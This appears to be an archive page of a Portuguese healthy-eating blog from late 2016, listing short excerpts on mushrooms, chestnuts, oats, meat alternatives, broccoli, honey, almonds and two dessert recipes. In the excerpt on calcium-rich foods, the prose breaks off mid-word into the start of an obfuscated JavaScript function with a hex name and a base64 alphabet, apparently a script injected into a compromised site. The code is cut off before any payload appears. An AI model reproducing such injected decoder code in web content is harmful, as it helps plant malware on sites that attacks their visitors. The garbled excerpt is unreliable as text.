Nov 2, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis: descubra os benefícios dos cogumelos Qual é o seu ingrediente favorito para saltear? Eu sou fã de cogumelos! Ficam deliciosos salteados e polvilhados com um pouquinho de queijo ralado! Hmmm… verdade? Gosto de todos, os portobello, os shiitake, os...
Out 29, 2016 | À descoberta, Receitas
2 sobremesas irresistíveis para deliciar-se em família BOLO DE CHOCOLATE E MASCARPONE (para 8 pessoas) Ingredientes: 200 g de chocolate em barra 5 ovos 250 g de mascarpone 100 g de farinha 200 g de açúcar 50 g de manteiga Preparação: Pré-aqueça o forno a 180ºC. Unte...
Out 27, 2016 | Equilíbrio, Saúde e bem estar
7 boas razões para comer castanhas Chegou o tempo das primeiras chuvas, do vento mais fresco, das folhas caídas… e chegou também o tempo de comermos as deliciosas castanhas tão próprias desta altura do ano! A boa notícia é que podemos comê-las sem culpa, porque elas...
Out 26, 2016 | Equilíbrio, Saúde e bem estar
Dicas de nutrição: 17 alternativas saudáveis à carne Ao tentarmos reduzir o consumo de carne, torna-se fundamental encontrar outras fontes de proteína. Se formos vegetarianos, podemos optar até por consumir apenas proteína vegetal. Ao conjugar vários alimentos...
Out 24, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Descubra os benefícios da aveia Certamente já ouviu falar da aveia! Apesar de ser um cereal há muito consumido, hoje em dia tornou-se quase moda entre aqueles que optam por uma alimentação mais saudável e regrada. Aconselhada por nutricionistas...
Out 18, 2016 | Equilíbrio, Saúde e bem estar
14 alimentos ricos em cálcio que não contêm leite O cálcio é fundamental para termos ossos fortes e dentes saudáveis. Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Out 17, 2016 | À descoberta, Dicas úteis
Dicas saudáveis – Conheça os benefícios dos brócolos Os brócolos são um superalimento. Um super vegetal, repleto de nutrientes! Acrescentá-los a qualquer prato traz uma série de benefícios à nossa saúde e são tão deliciosos! Eu costumava cozê-los e depois...
Out 16, 2016 | À descoberta, Receitas
2 Pequenos-almoços deliciosos, saudáveis e nutritivos por Luísa Fortes da Cunha Papas de Aveia com iogurte grego 0% gordura Ingredientes 3 Colheres de sopa de flocos de aveia 1,5 dl de água ou mais Canela a gosto 1 Colher de sopa de mel 2 Claras 1 Iogurte grego 0%...
Out 11, 2016 | Dicas úteis
Usos surpreendentes do mel Hmmm… hoje apetece-me falar-lhe de uma doce iguaria: o mel. Alimento muito saudável, fantástica alternativa ao açúcar e cheio de benefícios para a nossa saúde. Mas o que lhe quero contar mesmo tem a ver com os diferentes usos que lhe...
Out 10, 2016 | À descoberta, Dicas úteis
Quem ADORA amêndoas levante o braço! É verdade, hoje chegou o dia de lhe mostrar os benefícios das amêndoas. Para além de as comermos tradicionalmente na época da Páscoa, as amêndoas são um superalimento que deve ser consumido todo o ano! Em quantidades moderadas elas...
